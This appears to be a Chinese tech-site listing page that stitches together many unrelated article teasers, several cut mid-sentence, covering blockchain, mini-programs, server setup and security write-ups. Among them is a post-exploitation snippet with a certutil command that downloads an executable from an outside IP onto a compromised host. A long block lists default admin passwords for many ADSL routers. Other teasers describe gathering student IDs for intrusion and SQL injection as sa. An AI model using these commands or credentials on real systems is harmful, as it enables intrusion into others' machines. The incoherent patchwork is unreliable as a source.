众所周知，以太坊的区块链是公开可见的。也就是说，每当你转移ERC-20通证或任何其他的数字资产时都会在区块链上留下记录，任何第三方都可以轻而易举地监控到这些记录。
6 月 26 号晚上，大量 QQ 被盗的新闻一度冲上微博热搜。很多人反映自己的 QQ 不受控制地发送大量违规图片。
现在的大学日常都是sso统一身份认证，难搞哦 寻找废弃站点，作为突破口 信息搜集啊，信息搜集 信息搜集 加上了他们大学类似表白墙之类的小姐姐的QQ 一通乱翻好多学号+姓名，不再一一列出了 得到一个名字
Volexity的新分析报告称，从4月开始，专注于朝鲜新闻的朝鲜日报网站上出现了恶意代码。
因为本人是使用 Windows 系统，所以需要下载一些终端工具（没有钱买MAC ☹️）。这样的工具挺多的，像 MobaXterm 和 Xshell 个人比较喜欢 MobaXterm 看起来比较舒服。 新建一个对话（session），填入你的服务器的 IP 地址和端口号，连接成功之后输入密码就可以了。
区块链是一个伟大的发明，它改变了生产关系。很多生态，有了区块链技术，可以由全公司员工的"全员合伙人"变成了全平台的”全体合伙人”了，是真正的共享经济模式。
个人开发者的福利 微信小程序，刚听到这个新名词的时候，我就兴冲冲的去找入口，看看自己能不能搞个微信小程序的HelloWorld，毕竟能在微信上把自己写的一些小工具跑起来还是满炫酷的。 没想，网上一查
首先，在资产某处发现存在SQL注入，数据库类型是SQLServer，并且当前用户为sa管理用户。
声明，本文与该软件仅用于学习技术交流，请勿将软件用于非法途径，本作者不承担一切法律责任，望使用者须知。若影响到贵公司正常运行，请联系本人删除。
2018即将过去，2019即将来临，前端技术不断在在更新，学的东西越来越多。我们只有不断的学习，才不能被淘汰。在前后端分离的一个时代，后端提供接口，前端调用接口，逻辑判断，每个都是独立的工作。如果自己在空余的时间，想学习新的知识，却没有好的接口，只能写写假的json数据。或者网上开源的数据库，mock，野狗数据库，firebase，或者使用本地的json-server搭建本地数据库使用也是完全没有问题的，也可以正常的实现数据的接口请求。
得益于Google的品牌力量和技术实力，chrome浏览器近年来的市场占有率不断上升。reizhi也是chrome的爱好者之一，从最原始的IE，到假死王maxthon，再到轻快的opera，最后让我留恋chrome的理由还是强大的可扩展性。虽然资源占用永远都是抛不开的弱点，但无与伦比的速度和极致的可扩展性是有目共睹的。
作者：蒋海滔，阿里巴巴国际事业部，高级技术专家，爱好Java/JavaScript，长期关注高性能、并发编程以及Web安全。 来自：高可用架构(ID:ArchNotes) 一，互联网web应用面临的主要威胁 1. XSS 跨站脚本攻击(Cross Site Scripting)， 即A站点的网页想办法跑到B站点上。 因为我们的网页都是javascript驱动的，所以js拥有非常大的权力。 XSS 可以大概分为三类(注意这三类不是排斥的)， DomXSS, 反射型XSS和存储型XSS。 首先Dom型XS
和 EpicGames 官方的像素流 SDK 相比，我们开发出了更轻量的像素流 SDK，包含 2 个文件：前端组件（WebComponents API）外加信令服务器（NodeJS）。
衔接上一篇文章，提到了公司只能提供 Nginx 下的 SSL 证书，却要在 IIS 里面开启 https 这个问题。本来想去申请上次分享的沃通免费 SSL 证书。结果发现我并没有域名控制权，只好作罢。 转念一想，既然没有那我就生成一个好了！于是在百度搜索：pem to pfx （pem 是 nginx 下的证书格式，pfx 是 IIS7 下的证书格式）、SSL 证书转换等关键词。结果只搜到从 pfx 到 pem 的转换，而且是通过 openssl 和一大堆麻烦的步骤！ 我是一个很懒的人，所以并不想在这棵树上
- 概述 - jQuery是一个优秀的javascript框架(js类库)，兼容css3和各大浏览器，提供dom，events，animate，ajax等简易的操作。并且jQuery有非常丰富的插件，大多数功能都有相应的插件解决方案。jQuery的宗旨是write less, do more. (写的更少,做的更多) - jQuery入门 - jQuery和html整合 - 下载 - 下载地址:www.jquery.com - 使用script的src属性即可
打工人，打工魂，打工都是人上人。 好家伙一到工地,就来了一车砖.xls。话不多说咱开搬。 是某学院的站点
②选择自定义配置——计费模式为“按量付费”——地域选择“北京”——可用区选择“随机可用区”——网络选择“默认”即可
通常下，登陆通过数据库校对进行判断登陆是否正确，在登陆页登陆后，登陆所以页面都会提示已经成功登陆（session），下面看一下结合MD5加密校对数据库用户登录,以及session判断用户登录状态!
前言 之前讲了一些关于中间件的漏洞，本次来详细介绍一下对于常见中间件漏洞的测试，转载请说明来源，禁止用于非法和商业用途，多谢老铁支持 0x01 测试目的 中间件 1） 发现中间件控制台 2） 发现中间件默认密码及弱密码 3） 发现中间件的已知漏洞，如resin的文件读取漏洞、jboss的jboss httpadaptor jmxinvokerservlet漏洞 4） 发现中间件与应用无关可以删除的默认路径，如tomcat的example路径、resin的resin-doc路径 5） 发现serve
前几个月被授权进行某大型运营商的渗透，在过程中也是遇到了一些比较有意思的东西，特此记录一波
利用别人的cookie，他们可以冒充真实的用户，在颁发cookie的那个网站中为所欲为，个人隐私在他们面前根本不存在。
虽然题目名显示需要 Linux ，但只是 ssh 的话，显然在 Windows 的命令行直接操作即可。
用wget来下载docker-compose相关的压缩包，地址是右边的：https://github.com/pandora-next/deploy/archive/refs/tags/v0.6.1.zip 。我们先执行命令 wget https://github.com/pandora-next/deploy/archive/refs/tags/v0.6.1.zip
数字经济时代，数据作为重要的生产要素，保障数据安全是数字经济发展的前提，而密码是保障数据安全的重要基础。由此，密码安全企业将迎来新一轮发展契机。
一个不想写后台的前端不是一个好全栈，前端也可以玩转区块链Web3.js开发。 老吴（北京志顶科技有限公司技术总监、区块链专家）针对前端工程师如何玩转Web3.js开发后端钱包这一主题，分享了自己开
大家好，我是ABC_123。本期分享一篇ABC_123曾经做的针对一家银行的红队评估项目，持续时间两周，难度非常大，但是最终打到了银行核心业务区，今天就复盘一下全过程，希望红蓝双方都能得到一些启示，这也是“未知攻、焉知防”的道理。
大家经常会看到QQ空间自动转发一些附带链接的不良信息，即便我们的QQ密码并没有被盗取。 最近通过对一个QQ空间自动转发链接进行分析，发现该自动转发机制通过利用腾讯网站存在漏洞的页面，精心构造出利用代码
shell之后尝试上线（出网） certutil -urlcache -split -f http://xx.xx.xx.xx/test.exe c:\test.exe 这里exe的位置只是一个示例，正常都是在tmp目录下的 有CS的话，就上传frp
前言 几年前，撞库这个词对我们来说还算陌生，不过，我们对它似乎已不再陌生。 一个个撞库事件的背后隐藏的是什么样的黑色产业链？ 一个个撞库事件的背后是什么样的利益驱动？ 一个个撞库事件的背后谁是追魁祸首？ 一个个撞库事件的背后我们该如何防范？ 撞库，一个非属于漏洞的漏洞，威力无穷。 于是，我们开始思考，开始警觉，甚至开始惊悚，开始觉得无解。 然后，便有了下面的文字。 1何为撞库 黑客通过各种手段（社工/攻击/交易等）收集互联网已泄
想要快速地开发一个小程序，很多环节都需要注意，微信小程序php后端的开发估计很多人都还很陌生，但是这也是至关重要的，一起来看看开发实例详解吧。
整体说明 这节演示一下使用微信小程序配网绑定ESP8266然后和ESP8266实现远程温湿度采集和远程控制继电器 绑定方式:APUConfig APUConfig是我自己取的名字,这种方式一开始就是为了微信小程序配网绑定ESP8266而做解决大家苦恼的微信小程序如何配网绑定ESP8266问题 测试功能 1.请按照第一节硬件介绍,下载单片机程序 注:这节的单片机程序和上一节一样 注:这节的单片机程序和上一节一样 注:这节的单片机程序和上一节一样 <ignore_js_op>
整体说明 这节演示一下使用APP配网绑定ESP8266然后和ESP8266实现MQTT远程温湿度采集和远程控制继电器 绑定方式:APUConfig APUConfig是我自己取的名字,这种方式一开始是为了微信小程序配网绑定ESP8266而做 为了和微信小程序绑定方式做到统一,故我也用APP做了一款 测试功能 1.请按照第一节硬件介绍,下载单片机程序
愿我们都能以拿到第一台机器shell的热情继续学习下去，为网上家园筑起属于我们的安全堤坝！
张健，这个夏天币圈最会玩的男人，畅销书《区块链：定义未来金融和经济的新格局》作者，首创交易挖矿模式，提出了“币改”通证经济改革方案，集区块链技术专家、作家、通证经济倡导者等身份于一身。张健从Fcoin一炮而红后备受关注，那么，张健究竟是玩弄概念割韭菜的营销大师，还是充满理想主义的通证经济先驱？
国密改造是指政企单位按照《GB/T 39786-2021 信息安全技术 信息系统密码应用基本要求》进行的信息系统密码应用改造。
提权 通常而言，恶意攻击者侵入到某个系统最初往往只能获取到一个普通权限的账户。但这无疑给进一步的渗透带来了阻碍，因此攻击者会开始尝试通过各种手段来提升自己的账户权限。一旦提权成功攻击者就可以将目标转移至其它基础架构，以便进一步的查找和破坏存储有价值信息的网络上的系统。 提权最简单的方法之一就是利用计算机的配置问题。包括管理员凭据，配置错误的服务，故意削弱的安全措施，用户权限过大等。由于这种提权操作非常的简单，因此也是攻击者最常使用的一种方式。然而这种方法的弊端也显而易见，就是依赖运气的成分较大。 更为可靠有
原文发表于：https://avenirzheng.net/blog/2020/deploying-gatsby-to-tencent-cloud/
全向QL168010.0.0.2，用户名admin密码是qxcomm1680，管理员密码是qxcommsupport 全向QL1880192.168.1.1，用户名root密码是root 全向QL168810.0.0.2，用户名admin；密码为qxcomm1688 TP-LINKTD-8800在IE输入192.168.1.1,用户名admin,密码为admin. 合勤zyxel642telnet192.168.1.1密码1234 EcomED-802EG在IE输入192.168.1.1用户名和密码都为root 神州数码6010RA在IE输入192.168.1.1 用户名ADSL密码为ADSL1234 华为SmartAXMT800初始IP是192.168.1.1用户名和密码都为admin 伊泰克http://192.168.1.1用户名：supervisor密码：12345 华硕http://192.168.1.1用户名：adsl密码：adsl1234 阿尔卡特http://192.168.1.1一般没有密码 同维DSL699Ehttp://192.168.1.1用户名：ROOT密码为：ROOT 大亚DB102http://192.168.1.1用户名：admin密码：dare WST的RT1080http://192.168.0.1username:rootpassword:root WST的ART18CXhttp://10.0.0.2username:adminpassword:conexant username:userpassword:password 全向qxcomm1688http://192.168.1.1高端设置密码是：qxcommsuport 全向qxcomm1680http://192.168.1.1用户：qxcomm1680密码:qxcomm1680 实达 实达ADSL2110-EHaddress:192.168.10.1user:adminpwd:starnetadsl V3.2 rootroot V5.4 rootgrouter 泛德用户：admin密码：conexant 东信Ea700http://192.168.1.1用户名：空密码：password broadmax的hsa300ahttp://192.168.0.1username:broadmax password:broadmax 长虹ch-500Ehttp://192.168.1.1username:rootpassword:root 重庆普天CPADSL03http://192.168.1.1username:rootpassword:root 台湾突破EA110RS232:38400[url]http://192.168.7.1username:SLpsw:SL etek-td的ADSL_T07L006.0http://192.168.1.1UserName:supervisor Password:12345 GVC的DSL-802E/R3Ahttp://10.0.0.2username:adminpassword:epicrouter username:userpassword:password 科迈易通km300A-1http://192.168.1.1username:password:password 科迈易通km300A-Ghttp://192.168.1.1username:rootpassword:root 科迈易通km300A-Ausername:rootoradminpassword:123456 sunrise的SR-DSL-AEhttp://192.168.1.1username:adminpassword:0000 sunrise的DSL-802E_R3Ahttp://10.0.0.2username:admin password:epicrouter username:userpassword:password UTStar的ut-300Rhttp://192.168.1.1 username:admin password:utstar 湖北邮通IP:10.0.0.2 Username:admin Password:epicrouter 亨威NSM500网速通IP:192.168.1.1 Username:root Password:root 艾玛701g192.168.101.1192.168.0.1用户名：admin密码：admin 用户名：SZIM 密码：SZIM 艾玛701H192.168.1.110.0.0.2用户名：admin密码：epicrouter 实达2110EHROUTER 192.168.10.1 用户名：user密码：password 用户名：root密码：grouter 神州
基于 SpringBoot 任务管理系统V1.0版正式发布 （原创内容，转载请注明来源，谢谢） 一、基本内容 经过近半个月以来学习springboot，完成了我的java的第一个项目——基于SpringBoot的任务管理平台v1.0。这个任务管理平台，涵盖了数据库的增删改查、前后端的ajax、前端页面返回渲染、登陆等基本功能。技术上，前端采用jquery（部分用到jqgrid），网站模板采用ace模板，java前端模板采用的是Thymeleaf，java服务端模板即springboot，orm采用myba
两个站点都是比较简单的前端加密，也都是朋友喊来练练手的，不过Trace这款工具还是不错的吧
搭建npm私服可以选用多个软件，博主选用verdaccio搭建，什么是Verdaccio呢？官方解释：Verdaccio 是一个 Node.js创建的轻量的私有npm proxy registry。简单来说，我们设计的组件库有隐私性，不方便上传npm，我们就可以部署一个Npm私有服务。
随着低代码概念的火热，相关的技术及产品也是层出不穷，不管是老牌行业软件厂商还是开放平台厂商，不论是互联网行业企业SAAS软件新动向还是新兴的低代码创新产品服务,都在第一时间打出了低代码这张牌。各个平台虽然各有优势，但大多又是自成体系，真正在企业方面进行选择时却一时难以抉择。对于低代码平台的功能评价，以及各平台组件间的互联互通则成为了市场上迫切需求。
《第二十四课 基于以太坊的交易所BANCOR算法实现-转换算法框架》 讲解了以太坊solidity实现的BancorConverter转换主合约的逻辑和代码，但是没有涉及核心互换及计算代码，而是通过interface类的方式进行隔离。 本文详细描述一下内容，能跑的程序才是真分享： （1）BancorNetwork网络的文件框架和功能； （2）BancorConverter合约测试执行流程； （3）2个连接器通证ERC1-ERC22的转换验证结果； （4）ETH-CLB(彩贝)的转化验证结果
随着Web3的演化，开发者已经开始在以太坊区块链上快速开发去中心化应用。虽然 在以太坊上开发dApp很酷，但是要搭建自己的以太坊节点还是挺令人头疼的一件事， 这需要不短的时间，而且还需要一些技巧。QuikNode 通过提供高性能的以太坊节点服务解决了这一问题，正如其官网所说，这是运行专用以太坊节点的最快、最简单的 方法。
如果有身份验证需求，可以为每个学生，生成一个自己的密码，配合学号，就可以查看自己的数据了。
APP我们都知道是客户端应用，是Application的简称。再说DAPP就是D+APP，D是英文单词Decentralization的首字母，单词翻译中文是去中心化，即DAPP为去中心化应用。这是从字面上去理解这个概念，要在脑中形成清晰、准确、必要的概念，还需要深度去理解DAPP。随着区块链技术的普及会有越来越多的DAPP出现在生活中各个场景，因为DAPP直接和区块链技术挂钩，和交易数据、交易资产有关联，和不可篡改去中心化存储有关联。
领取专属 10元无门槛券
手把手带您无忧上云
